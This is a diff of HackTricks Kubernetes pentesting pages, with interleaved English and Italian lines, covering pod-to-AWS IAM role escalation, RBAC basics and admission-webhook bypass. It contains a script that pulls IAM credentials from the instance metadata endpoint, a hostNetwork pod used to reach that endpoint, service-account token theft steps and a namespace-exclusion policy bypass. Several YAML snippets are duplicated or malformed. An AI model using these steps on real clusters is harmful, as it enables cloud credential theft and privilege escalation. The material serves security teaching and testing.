echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (ruolo IAM per i Pod) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
Un modo (obsoleto) per dare ruoli IAM ai Pod è utilizzare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Fondamentalmente, dovrai eseguire un **daemonset** nel tuo cluster con un **tipo di ruolo IAM privilegiato**. Questo daemonset sarà quello che darà accesso ai ruoli IAM ai pod che ne hanno bisogno.
Prima di tutto, devi configurare **quali ruoli possono essere accessibili all'interno dello spazio dei nomi**, e lo fai con un'annotazione all'interno dell'oggetto namespace:
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```
```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi **indicare il ruolo che desideri in ciascuna definizione del pod con qualcosa come**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
> Come attaccante, se **trovi queste annotazioni** nei pod o nei namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni r**uolo che è già **utilizzato dai pod** e altro (se hai accesso all'account AWS elenca i ruoli).
#### Create Pod with IAM Role
#### Crea Pod con Ruolo IAM
> [!NOTE]
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
> Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
This is the **recommended way by AWS**.
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
Questo è il **modo raccomandato da AWS**.
1. Prima di tutto, è necessario [creare un provider OIDC per il cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Poi si crea un ruolo IAM con i permessi di cui avrà bisogno il SA.
3. Creare una [relazione di fiducia tra il ruolo IAM e il SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nome (o i namespace che danno accesso al ruolo a tutti i SA del namespace). _La relazione di fiducia controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome del SA_.
4. Infine, **creare un SA con un'annotazione che indica l'ARN del ruolo**, e i pod in esecuzione con quel SA avranno **accesso al token del ruolo**. Il **token** è **scritto** all'interno di un file e il percorso è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (predefinito: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
Per **ottenere aws utilizzando il token** da `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` esegui:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
> Come attaccante, se puoi enumerare un cluster K8s, controlla per **account di servizio con quella annotazione** per **escalare a AWS**. Per farlo, basta **exec/create** un **pod** utilizzando uno degli **account di servizio privilegiati IAM** e rubare il token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
> Inoltre, se sei all'interno di un pod, controlla le variabili d'ambiente come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
> A volte la **Politica di Fiducia di un ruolo** potrebbe essere **mal configurata** e invece di dare accesso AssumeRole all'account di servizio previsto, lo dà a **tutti gli account di servizio**. Pertanto, se sei in grado di scrivere un'annotazione su un account di servizio controllato, puoi accedere al ruolo.
>
> Check the **following page for more information**:
> Controlla la **seguente pagina per ulteriori informazioni**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
### Trova Pods e SAs con Ruoli IAM nel Cluster
Questo è uno script per **iterare facilmente su tutti i pod e le definizioni di sas** **cercando** quella **annotazione**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
La sezione precedente riguardava come rubare i ruoli IAM con i pod, ma nota che un **Node del** cluster K8s sarà un **istanza all'interno del cloud**. Questo significa che è altamente probabile che il Node **abbia un nuovo ruolo IAM che puoi rubare** (_nota che di solito tutti i nodi di un cluster K8s avranno lo stesso ruolo IAM, quindi potrebbe non valere la pena provare a controllare su ogni nodo_).
Tuttavia, c'è un requisito importante per accedere all'endpoint dei metadati dal nodo, devi essere nel nodo (sessione ssh?) o almeno avere la stessa rete:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Rubare il Token del Ruolo IAM
### Steal IAM Role Token
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
You can use the following script to **steal** your new hard worked **IAM role credentials**:
In precedenza abbiamo discusso di come **allegare i Ruoli IAM ai Pod** o persino di come **fuggire al Nodo per rubare il Ruolo IAM** che l'istanza ha allegato ad esso.
Puoi utilizzare il seguente script per **rubare** le tue nuove e faticosamente guadagnate **credenziali del ruolo IAM**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## References
## Riferimenti
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
{{#include ../../banners/hacktricks-training.md}}

124
src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
View File

@@ -4,114 +4,107 @@
## Role-Based Access Control (RBAC)
Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
Kubernetes ha un **modulo di autorizzazione chiamato Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) che aiuta a impostare i permessi di utilizzo per il server API.
RBAC’s permission model is built from **three individual parts**:
Il modello di permessi di RBAC è costruito da **tre parti individuali**:
1. **Role\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource.
2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions.
3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject.
1. **Role\ClusterRole ­–** Il permesso effettivo. Contiene _**regole**_ che rappresentano un insieme di permessi. Ogni regola contiene [risorse](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbi](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Il verbo è l'azione che verrà applicata sulla risorsa.
2. **Soggetto (Utente, Gruppo o ServiceAccount) –** L'oggetto che riceverà i permessi.
3. **RoleBinding\ClusterRoleBinding –** La connessione tra Role\ClusterRole e il soggetto.
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
La differenza tra “**Ruoli**” e “**ClusterRoles**” è solo dove il ruolo sarà applicato – un “**Ruolo**” concederà accesso a **un** **specifico** **namespace**, mentre un “**ClusterRole**” può essere utilizzato in **tutti i namespace** nel cluster. Inoltre, **ClusterRoles** possono anche concedere accesso a:
- **cluster-scoped** resources (like nodes).
- **non-resource** endpoints (like /healthz).
- namespaced resources (like Pods), **across all namespaces**.
From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
- risorse **scopate a livello di cluster** (come i nodi).
- endpoint **non risorsa** (come /healthz).
- risorse namespaced (come i Pods), **attraverso tutti i namespace**.
A partire da **Kubernetes** 1.6, le politiche **RBAC** sono **abilitate per impostazione predefinita**. Ma per abilitare RBAC puoi usare qualcosa come:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
## Templates
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
Nel template di un **Role** o di un **ClusterRole** è necessario indicare il **nome del ruolo**, il **namespace** (nei ruoli) e poi i **apiGroups**, **resources** e **verbs** del ruolo:
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
- Gli **apiGroups** sono un array che contiene i diversi **namespace API** a cui si applica questa regola. Ad esempio, una definizione di Pod utilizza apiVersion: v1. _Può avere valori come rbac.authorization.k8s.io o \[\*]_.
- Le **resources** sono un array che definisce **a quali risorse si applica questa regola**. Puoi trovare tutte le risorse con: `kubectl api-resources --namespaced=true`
- I **verbs** sono un array che contiene i **verbi consentiti**. Il verbo in Kubernetes definisce il **tipo di azione** che devi applicare alla risorsa. Ad esempio, il verbo list è usato contro collezioni mentre "get" è usato contro una singola risorsa.
### Rules Verbs
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb))
(_Queste informazioni sono state tratte da_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| GET, HEAD | get (per risorse individuali), list (per collezioni, incluso il contenuto completo dell'oggetto), watch (per monitorare una risorsa individuale o una collezione di risorse) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | delete (per risorse individuali), deletecollection (per collezioni) |
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
Kubernetes a volte controlla l'autorizzazione per permessi aggiuntivi utilizzando verbi specializzati. Ad esempio:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- verbo `use` su risorse `podsecuritypolicies` nel gruppo API `policy`.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- verbi `bind` ed `escalate` su risorse `roles` e `clusterroles` nel gruppo API `rbac.authorization.k8s.io`.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
- verbo `impersonate` su `users`, `groups` e `serviceaccounts` nel gruppo API core, e `userextras` nel gruppo API `authentication.k8s.io`.
> [!WARNING]
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
> Puoi trovare **tutti i verbi che ciascuna risorsa supporta** eseguendo `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: defaultGreen
name: pod-and-pod-logs-reader
namespace: defaultGreen
name: pod-and-pod-logs-reader
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
```
```yaml:ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "watch", "list"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
For example you can use a **ClusterRole** to allow a particular user to run:
Ad esempio, puoi utilizzare un **ClusterRole** per consentire a un particolare utente di eseguire:
```
kubectl get pods --all-namespaces
```
### **RoleBinding e ClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
[**Dalla documentazione:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding concede i permessi definiti in un ruolo a un utente o a un insieme di utenti**. Contiene un elenco di soggetti (utenti, gruppi o account di servizio) e un riferimento al ruolo concesso. Un **RoleBinding** concede permessi all'interno di uno specifico **namespace**, mentre un **ClusterRoleBinding** concede quell'accesso **a livello di cluster**.
```yaml:RoleBinding
piVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
# You need to already have a Role named "pod-reader" in that namespace.
kind: RoleBinding
metadata:
name: read-pods
namespace: default
name: read-pods
namespace: default
subjects:
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
```
```yaml:ClusterRoleBinding
@@ -119,21 +112,19 @@ apiVersion: rbac.authorization.k8s.io/v1
# This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
kind: ClusterRoleBinding
metadata:
name: read-secrets-global
name: read-secrets-global
subjects:
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**I permessi sono additivi** quindi se hai un clusterRole con “list” e “delete” segreti puoi aggiungerlo a un Role con “get”. Quindi fai attenzione e testa sempre i tuoi ruoli e permessi e **specifica cosa è CONSENTITO, perché tutto è NEGATO per impostazione predefinita.**
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
## **Enumerating RBAC**
## **Enumerare RBAC**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -155,15 +146,10 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Abuse Role/ClusterRoles for Privilege Escalation
### Abuso di Role/ClusterRoles per l'Escalation dei Privilegi
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

108
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
View File

@@ -1,106 +1,94 @@
# Kubernetes ValidatingWebhookConfiguration
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
## Definizione
ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
ValidatingWebhookConfiguration è una risorsa Kubernetes che definisce un webhook di validazione, che è un componente lato server che convalida le richieste API Kubernetes in arrivo rispetto a un insieme di regole e vincoli predefiniti.
## Purpose
## Scopo
The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules.
Lo scopo di un ValidatingWebhookConfiguration è definire un webhook di validazione che applicherà un insieme di regole e vincoli predefiniti sulle richieste API Kubernetes in arrivo. Il webhook convaliderà le richieste rispetto alle regole e ai vincoli definiti nella configurazione e restituirà un errore se la richiesta non è conforme alle regole.
**Example**
Here is an example of a ValidatingWebhookConfiguration:
**Esempio**
Ecco un esempio di un ValidatingWebhookConfiguration:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-validation-webhook
namespace: default
name: example-validation-webhook
namespace: default
webhook:
name: example-validation-webhook
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
name: example-validation-webhook
clientConfig:
url: https://example.com/webhook
serviceAccountName: example-service-account
rules:
- apiGroups:
- ""
apiVersions:
- "*"
operations:
- CREATE
- UPDATE
resources:
- pods
```
The main difference between a ValidatingWebhookConfiguration and policies :&#x20;
La principale differenza tra un ValidatingWebhookConfiguration e le politiche :&#x20;
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
- **ValidatingWebhookConfiguration (VWC)** : Una risorsa Kubernetes che definisce un webhook di validazione, che è un componente lato server che convalida le richieste API Kubernetes in arrivo rispetto a un insieme di regole e vincoli predefiniti.
- **Kyverno ClusterPolicy**: Una definizione di politica che specifica un insieme di regole e vincoli per convalidare e applicare le risorse Kubernetes, come pod, deployment e servizi
## Enumeration
```
$ kubectl get ValidatingWebhookConfiguration
```
### Abusare di Kyverno e Gatekeeper VWC
### Abusing Kyverno and Gatekeeper VWC
Come possiamo vedere, tutti gli operatori installati hanno almeno una ValidatingWebHookConfiguration(VWC).
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
**Kyverno** e **Gatekeeper** sono entrambi motori di policy Kubernetes che forniscono un framework per definire e applicare politiche in un cluster.
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
Le eccezioni si riferiscono a regole o condizioni specifiche che consentono a una politica di essere bypassata o modificata in determinate circostanze, ma questo non è l'unico modo!
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
Per **kyverno**, poiché esiste una politica di validazione, il webhook `kyverno-resource-validating-webhook-cfg` è popolato.
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
Per Gatekeeper, c'è il file YAML `gatekeeper-validating-webhook-configuration`.
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Both come from with default values but the Administrator teams might updated those 2 files.
### Use Case
Entrambi provengono con valori predefiniti, ma i team di amministratori potrebbero aver aggiornato questi 2 file.
### Caso d'uso
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Now, identify the following output :
Ora, identifica il seguente output :
```yaml
namespaceSelector:
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- default
- TEST
- YOYO
- kube-system
- MYAPP
matchExpressions:
- key: kubernetes.io/metadata.name
operator: NotIn
values:
- default
- TEST
- YOYO
- kube-system
- MYAPP
```
Qui, l'etichetta `kubernetes.io/metadata.name` si riferisce al nome del namespace. I namespace con nomi nella lista `values` saranno esclusi dalla policy:
Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
Controlla l'esistenza dei namespace. A volte, a causa di automazione o misconfigurazione, alcuni namespace potrebbero non essere stati creati. Se hai il permesso di creare un namespace, potresti creare un namespace con un nome nella lista `values` e le policy non si applicheranno al tuo nuovo namespace.
Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace.
The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
L'obiettivo di questo attacco è sfruttare la **misconfigurazione** all'interno del VWC per eludere le restrizioni degli operatori e poi elevare i tuoi privilegi con altre tecniche.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## References
## Riferimenti
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)

138
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md
View File

@@ -2,60 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
Kubernetes utilizza diversi **servizi di rete specifici** che potresti trovare **esposti a Internet** o in una **rete interna una volta che hai compromesso un pod**.
## Finding exposed pods with OSINT
## Trovare pod esposti con OSINT
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
Un modo potrebbe essere cercare `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) per trovare sottodomini relativi a kubernetes. Un altro modo potrebbe essere cercare `"k8s.%.com"` in github e cercare **file YAML** contenenti la stringa.
## How Kubernetes Exposes Services
## Come Kubernetes Espone i Servizi
It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
Potrebbe esserti utile capire come Kubernetes può **esporre servizi pubblicamente** per trovarli:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Finding Exposed pods via port scanning
## Trovare Pod Esposti tramite Scansione delle Porte
The following ports might be open in a Kubernetes cluster:
Le seguenti porte potrebbero essere aperte in un cluster Kubernetes:
| Port | Process | Description |
| Porta | Processo | Descrizione |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 443/TCP | kube-apiserver | Porta API di Kubernetes |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
| 4194/TCP | cAdvisor | Metriche del contenitore |
